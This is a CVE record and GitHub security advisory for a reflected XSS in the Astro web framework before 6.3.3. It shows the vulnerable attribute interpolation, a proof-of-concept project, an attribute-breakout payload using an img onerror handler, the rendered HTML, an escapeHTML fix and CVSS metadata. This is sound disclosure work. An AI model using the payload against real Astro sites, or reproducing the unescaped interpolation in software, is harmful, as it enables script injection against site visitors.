Astro is a web framework. Prior to 6.3.3, when a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This vulnerability is fixed in 6.3.3.
PUBLISHED5.2CWE-80
Astro: Reflected XSS via unescaped slot name
Problem type
Affected products
withastro
astro
< 6.3.3 - AFFECTED
References
GitHub Security Advisories
GHSA-8hv8-536x-4wqp
Astro: Reflected XSS via unescaped slot name
https://github.com/advisories/GHSA-8hv8-536x-4wqpSummary
When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.
This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable Code
packages/astro/src/runtime/server/render/component.ts:371:376
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`
I found that key is interpolated directly into the attribute value without proper escaping.
Proof of Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
astro.config.mjs
import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
integrations: [react()],
});
src/pages/index.astro
---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
<Wrapper client:load>
<div slot={slotName}>content</div>
</Wrapper>
</body></html>
src/components/Wrapper.jsx
export default function Wrapper() { return null; }
Payload:
abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--
Accessing this URL will trigger the popup.
This will render in html.
<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>
Fix
I suggest leveraging the existing escape function on the slot name.
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`
JSON source
https://cveawg.mitre.org/api/cve/CVE-2026-50146Click to expand
{
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"cveMetadata": {
"cveId": "CVE-2026-50146",
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"dateUpdated": "2026-06-22T17:31:56.313Z",
"dateReserved": "2026-06-03T18:49:32.276Z",
"datePublished": "2026-06-22T17:31:56.313Z",
"state": "PUBLISHED"
},
"containers": {
"cna": {
"providerMetadata": {
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M",
"dateUpdated": "2026-06-22T17:31:56.313Z"
},
"title": "Astro: Reflected XSS via unescaped slot name",
"descriptions": [
{
"lang": "en",
"value": "Astro is a web framework. Prior to 6.3.3, when a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This vulnerability is fixed in 6.3.3."
}
],
"affected": [
{
"vendor": "withastro",
"product": "astro",
"versions": [
{
"version": "< 6.3.3",
"status": "affected"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"lang": "en",
"description": "CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)",
"cweId": "CWE-80",
"type": "CWE"
}
]
}
],
"references": [
{
"url": "https://github.com/withastro/astro/security/advisories/GHSA-8hv8-536x-4wqp",
"name": "https://github.com/withastro/astro/security/advisories/GHSA-8hv8-536x-4wqp",
"tags": [
"x_refsource_CONFIRM"
]
}
],
"metrics": [
{
"cvssV3_1": {
"version": "3.1",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N",
"attackVector": "NETWORK",
"attackComplexity": "LOW",
"privilegesRequired": "NONE",
"userInteraction": "REQUIRED",
"scope": "UNCHANGED",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"availabilityImpact": "NONE",
"baseScore": 7.1,
"baseSeverity": "HIGH"
}
}
]
}
}
}